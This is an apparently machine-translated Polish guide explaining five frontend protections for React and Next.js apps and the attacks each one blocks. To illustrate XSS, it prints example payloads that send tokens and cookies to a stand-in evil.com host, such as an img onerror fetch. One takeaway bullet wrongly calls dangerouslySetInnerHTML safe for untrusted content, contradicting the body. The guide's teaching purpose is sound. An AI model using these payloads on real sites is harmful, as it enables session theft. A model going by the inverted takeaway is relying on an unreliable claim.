Pięć zabezpieczeń frontendu, których potrzebuje każde aplikacje React i Next.js
Dlaczego aplikacje React i Next.js do produkcji wykorzystują pliki cookie HttpOnly, CSP, DOMPurify, nagłówki bezpieczeństwa oraz zasady NEXT_PUBLIC_, i jakie ataki każdy z nich blokuje.
Latwo potraktować bezpieczeństwo jako zadanie warstwy backend, jednak wiele poważnych luk bezpieczeństwa, od skradzionych sesji po wyciek kluczy API, ma swoje źródło w kodzie klienta. Bazy kodu React i Next.js używane w produkcji zawierają wzorce, które na pierwszy rzut oka wydają się niepotrzebne: pliki cookie typu HttpOnly, nietypowe nagłówki w next.config.js, narzędzie DOMPurify, zmienne typu NEXT_PUBLIC_ oraz zasada Content-Security-Policy. Ten przewodnik wyjaśnia pięć najważniejszych z nich, ataki, które blokują, oraz uwagi dotyczące prawidłowego ich stosowania.
1. Chronienie tokenów autoryzacyjnych przed dostępem z JavaScript za pomocą plików cookie HttpOnly
Zachowywanie tokenów jest prawdopodobnie najważniejszą decyzją dotyczącą bezpieczeństwa w interfejsie użytkownika. Powszechnym podejściem jest przechowywanie tokena w localStorage:
localStorage.setItem("token", token);
i ręczne dołączanie go do każdego żądania:
fetch("/profile", {
headers: {
Authorization: `Bearer ${token}`,
},
});
To działa, ale sprawia, że token może być odczytywany przez każdy skrypt uruchamiany na stronie.
Jak XSS przekształca się w przejęcie konta
Cross-site scripting (XSS) oznacza, że atakujący sprawia, iż jego skrypt JavaScript jest wykonywany na twojej stronie. Typowym punktem wejścia jest renderowanie niezaufanego HTML, np. komentarza użytkownika:
<div dangerouslySetInnerHTML={{ __html: comment }} />
Jeśli atakujący może uruchomić skrypt, odczytanie tokena zajmuje jedną linię kodu:
<script>
fetch("evil.com?token=" + localStorage.getItem("token"))
</script>
Ściśle mówiąc, tag script wstawiony za pomocą innerHTML (którego używa dangerouslySetInnerHTML) nie jest wykonywany; prawdziwe ataki wykorzystują nośniki z obsługą zdarzeń, takie jak te opisane w sekcji 3. W obu przypadkach, gdy skrypt zostanie uruchomiony, localStorage staje się w pełni dostępny.
Każdy, kto posiada token nośny, może się zalogować bez konieczności podawania hasła i uzyskać dostęp do konta, podszywać się pod użytkownika, wykonywać transakcje lub korzystać z funkcji administracyjnych.
Niech przeglądarka przechowuje sesję
Standardowym rozwiązaniem jest umieszczenie sesji na serwerze w pliku cookie, do którego skrypty nie mają dostępu:
Set-Cookie:
accessToken=abc123;
HttpOnly;
Secure;
SameSite=Strict
Każdy atrybut pełni określoną funkcję:
HttpOnlyukrywa plik cookie przed JavaScriptem: odczytanie go ze skryptu, jak poniżej, nie przyniesie żadnego rezultatu.Secureogranicza dostęp do pliku cookie tylko do protokołu HTTPS.SameSite=Strictzapobiega wysyłaniu pliku cookie w żądaniach pochodzących z innych stron, co stanowi skuteczną ochronę przed podrobieniem żądania między stronami (CSRF). WartośćStrictusuwa również plik cookie, gdy użytkownicy przychodzą za pośrednictwem linków z innych stron, dlatego wiele aplikacji wybiera wartośćLax.
document.cookie
Zmiana dotyczy przynależności odpowiedzialności. Wcześniej token kontrolował frontend:
Frontend controls token
Po zmianie to przeglądarka go kontroluje:
Browser controls token
Po tym kodzie nie będzie już utworzany taki nagłówek przy każdym wywołaniu:
Authorization: Bearer token
ponieważ przeglądarka automatycznie dodaje plik cookie. Dane uwierzytelniające nigdy nie przechodzą przez kod aplikacji. Jeśli chodzi o stronę serwera, zapoznaj się z naszym porównaniem sesji i JWT w Node.js.
2. Zapobieganie uruchamianiu wstrzykiwanych skryptów za pomocą Content Security Policy
Często pomijaną formą ochrony jest nagłówek o nazwie
Content-Security-Policy
który projekty Next.js często konfigurują w
next.config.js
Dlaczego pliki cookie typu HttpOnly nie wystarczają
Załóżmy, że atakujący udaje się wstrzyknąć zewnętrzny skrypt:
<script src="https://evil.com/hack.js"></script>
Domyślnie przeglądarka go uruchamia. Atakujący nie może odczytać pliku cookie, ale i tak tego nie musi: skrypt działa w obrębie twojego domeny, więc jego żądania automatycznie zawierają pliki cookie użytkownika:
fetch("/send-money", {
method: "POST",
body: JSON.stringify({
amount: 50000,
to: "hacker",
}),
});
Serwer widzi autoryzowaną prośbę i przetwarza transfer. Ten sam mechanizm umożliwia inne ataki:
- Sztuczne okna logowania. Skrypt wyświetla dialog wyglądający oficjalnie, podobny do tekstu poniżej, a wszystko, co wpisze użytkownik, trafia do atakującego.
- Przymusowe przekierowania. Użytkownicy są po cichu kierowani na stronę phishingową, która imituje twoją.
"Session expired. Enter password again."
Lista dopuszczalnych plików z kodem wykonywalnym
CSP informuje przeglądarkę, z jakich źródeł skryptów może ona korzystać. Minimalna polityka wygląda w ten sposób:
Content-Security-Policy:
script-src 'self'
'self' oznacza, że dozwolone są tylko skrypty serwowane z twojego własnego źródła. Gdy strona napotka skrypt z innego domeny, np. taki jak poniżej, przeglądarka odmawia jego wykonania:
<script src="evil.com/hack.js"></script>
W Next.js można wysłać nagłówek dla każdej trasy za pomocą headers() w konfiguracji:
const nextConfig = {
async headers() {
return [
{
source: "/(.*)",
headers: [
{
key: "Content-Security-Policy",
value: "script-src 'self';",
},
],
},
];
},
};
Traktuj to jako punkt wyjścia. Samo script-src 'self' blokuje również skrypty wstawione bezpośrednio w kodzie, które Next.js wykorzystuje do procesu hydratacji, dlatego ścisła polityka zazwyczaj wymaga użycia tokenów jednorazowych (sprawdź aktualne dokumentacje Next.js dotyczące podejścia z pośrednikami). Najpierw wdrażaj nowe polityki za pomocą Content-Security-Policy-Report-Only.
Dwa poziomy, dwa cele
Cookies typu HttpOnly ograniczają skutki ataków XSS; CSP ma na celu całkowite uniemożliwienie uruchomienia skryptów. Prawdziwa ochrona pochodzi z połączenia obu tych rozwiązań.
3. Sanitizuj HTML przed użyciem dangerousSetInnerHTML
React zapobiega atakom XSS tylko na swojej domyślnej ścieżce renderowania, gdzie tekst interpolowany jest zabezpieczany:
<p>{content}</p>
Zatem jeśli API zwraca taki ciąg znaków, React renderuje go jako widzialny tekst, zamiast go wykonać:
<script>alert("hacked")</script>
Rozwiązaniem jest
dangerouslySetInnerHTML
a React umieszcza to słowo
dangerously
celowo w swojej nazwie.
Gdy naprawdę potrzebujesz surowego HTML
Blogi, strony CMS, wyniki z Markdown oraz edytory tekstu wymagają renderowania HTML. Załóżmy, że backend zwraca:
<h1>Frontend Security</h1>
<p>Learn React Security</p>
Renderowanie go za pomocą standardowej interpolacji:
<p>{content}</p>
pokazuje tagi jako dosłowny tekst. Przejście na rozwiązanie typu „escape hatch” daje poprawnie sformatowany treść:
<div dangerouslySetInnerHTML={{
__html: content
}} />
Wygląda poprawnie, a jednocześnie stanowi punkt iniekcji.
Ładunek, który rzeczywiście się wykonuje
Napastnik wysyła taką markup:
<img src="x"
onerror="
fetch(
'evil.com?data=' + document.cookie
)"
/>
Zródło obrazu jest celowo nieważne, ładowanie się nie udaje, a obsługa błędu onerror uruchamia JavaScript atakującego.
Oczyszczaj je za pomocą DOMPurify
Zwykłym rozwiązaniem jest oczyszczenie treści przed wyświetleniem. Zainstaluj bibliotekę:
npm install dompurify
imporuj ją:
import DOMPurify from "dompurify";
i oczyszczaj treść przed przekazaniem jej do React (w rzeczywistym kodzie wywołanie sanitize i instrukcja return muszą znajdować się na oddzielnych liniach):
const safeHTML =
DOMPurify.sanitize(content);return (
<div
dangerouslySetInnerHTML={{
__html: safeHTML,
}}
/>
);
DOMPurify usuwa niebezpieczne elementy, takie jak elementy script, obsługi zdarzeń wewnątrz kodu, takie jak onerror i onclick, adresy URL w postaci javascript: w linkach oraz wstawione iframy, pozostawiając jedynie bezpieczne znaczniki. Na serwerze nie ma DOM-a przeglądarki, dlatego kod renderowany na serwerze wymaga implementacji DOM, takiej jak jsdom, lub oczyszczenia w momencie zapisu.
Niezaufane źródła obejmują również własny backend
Nigdy nie ufaj danych wprowadzanych przez użytkowników, nawet tym pochodzącym z twojej własnej API; te dane zazwyczaj pochodzą z źródeł mniej wiarygodnych:
- koniec użytkowników
- paneli administracyjne
- edytory CMS
- API firm trzecich
- edytory tekstu z formatowaniem
4. Nagłówki bezpieczeństwa przeglądarki, które zamykają ukryte luki
wiele konfiguracji produkcyjnych ustawia trzy nagłówki, które łatwo przeoczyć:
X-Frame-Options
Strict-Transport-Security
X-Content-Type-Options
Każdy z nich blokuje inny rodzaj ataku.
X-Frame-Options przeciwko clickjackingowi
Napastnik tworzy stronę na swoim domenie:
evil.com
i ładuje twoją stronę w niewidzialnym iframe u góry tej strony. Użytkownik myśli, że kliknął
Claim Prize
ale kliknięcie trafia na twój prawdziwy przycisk poniżej:
Transfer ₹50,000
To jest clickjacking. Rozwiązaniem jest zakaz tworzenia ramek:
X-Frame-Options: DENY
Następnie przeglądarka odmawia otwierania Twoich stron w ramkach. Współczesnym odpowiednikiem CSP jest frame-ancestors 'none'; ustawienie obu rozwiązań obejmuje starsze przeglądarki.
Strict-Transport-Security w celu wymuszenia HTTPS
W niezaufanych sieciach, takich jak publiczne Wi-Fi, ruch HTTP może zostać przechwycony, co prowadzi do ujawnienia haseł, danych sesji, kodów jednorazowych oraz innych poufnych informacji. HSTS nakazuje przeglądarce używać wyłącznie HTTPS:
Strict-Transport-Security:
max-age=31536000
Gdy przeglądarka już zobaczy ten nagłówek, nawet adres wpisany ręcznie
http://example.com
jest automatycznie przekształcany w
https://example.com
zanim jakikolwiek żądanie opuści urządzenie. Wartość max-age wynosi rok. Przeglądarka poznaje tę zasadę tylko przez HTTPS, więc pierwsza wizyta jest niezabezpieczona, chyba że domena została wcześniej załadowana.
X-Content-Type-Options przeciwko analizie typu MIME
Przeglądarki historycznie próbowały odgadnąć rzeczywisty typ pliku. Jeśli serwer deklaruje
Content-Type: image/jpeg
ale plik w rzeczywistości zawiera skrypt, przeglądarka wykrywająca to może potraktować go jako plik wykonywalny. Aby wyłączyć to zachowanie, wystarczy użyć jednego nagłówka:
X-Content-Type-Options:
nosniff
Pozwala on przeglądarce ufać deklarowanemu Content-Type i przestać zgadywać.
Ustawianie wszystkich trzech w Next.js
const nextConfig = {
async headers() {
return [
{
source: "/(.*)",
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key:
"Strict-Transport-Security",
value:
"max-age=31536000",
},
{
key:
"X-Content-Type-Options",
value: "nosniff",
},
],
},
];
},
};
Te nagłówki nie kosztują prawie nic i eliminują całe kategorie ataków.
5. Oddzielenie tajemnic serwera od zmiennych środowiskowych widocznych w przeglądarce
Umieszczenie pliku .env poza Gitem nie zapewnia bezpieczeństwa tajemnic. Ważne jest to, co trafia do paczki JavaScript.
Jak tajemnice trafiają do paczki
Weźmy taką zmienną:
SECRET_KEY=abc123
do której odwołuje się kod po stronie klienta:
console.log(
process.env.SECRET_KEY
);
Gdy narzędzie kompilacyjne wstawia zmienne środowiskowe bezpośrednio do kodu podczas budowania, dostarczany kod zawiera ich dosłowną wartość:
console.log("abc123");
Każdy może ją odczytać w narzędziach deweloperskich. Next.js zapobiega takim przypadkom przez przypadek: zmienne bez prefiksu NEXT_PUBLIC_ nie są wstawiane do kodu przeglądarki i tam są traktowane jako undefined. Ucieczki danych występują, gdy tajemnica otrzymuje publiczny prefiks w celu stłumienia błędu lub gdy komponent serwerowy przekazuje ją do komponentu klienckiego jako właściwość.
Umowa NEXT_PUBLIC_
Tylko zmienne, których nazwy zaczynają się od
NEXT_PUBLIC_
są włączane do budowanego kodu przeglądarki. Taka wartość może być bezpiecznie udostępniona:
NEXT_PUBLIC_API_URL=
https://api.com
i może być odczytana w kodzie klienckim jako:
process.env
.NEXT_PUBLIC_API_URL
ponieważ adres URL API i tak jest publiczny.
Czego absolutnie nie może być publicznego
To należy umieścić wyłącznie na serwerze:
JWT_SECRET
DATABASE_URL
AWS_SECRET
STRIPE_SECRET_KEY
PRIVATE_KEYS
Typowa konfiguracja produkcji
Repozytorium nie zawiera pliku .env, ponieważ plik ten jest wymieniony w .gitignore:
.env
Prawdziwe wartości są wprowadzane przez system CI/CD lub platformę hostingową w momencie budowania lub rozgłoszenia. Tylko wartości NEXT_PUBLIC_ trafiają do pliku bundle przeglądarki; wszystko inne pozostaje na serwerze.
Zasada do zapamiętania: jeśli przeglądarka może uzyskać dostęp do danej wartości, jest ona publiczna. Żaden sekret frontendu tak naprawdę nie jest tajny.
Główne wnioski
Bезpieczeństwo frontendu polega na stopniowym zmniejszaniu powierzchni ataku i utrudnianiu eksploatacji, warstwa po warstwie.
- Cookies HttpOnly chronią tokeny sesji przed dostępem skryptów wprowadzanych z zewnątrz.
- Polityka bezpieczeństwa treści zapobiega uruchamianiu nieuprawnionych skryptów, ale wymaga użycia nonces do współistnienia z wstawionymi skryptami Next.js.
dangerouslySetInnerHTML jest bezpieczny przy używaniu treści, których nie stworzyłeś.NEXT_PUBLIC_ decyduje o tym, co trafia do przeglądarki, dlatego należy traktować ten przedrostek jako decyzję dotyczącą publikacji.Znajomość tego, jakie ataki każdy z tych mechanizmów blokuje, pozwala prawidłowo je skonfigurować i zauważyć, gdy któryś jest brakujący.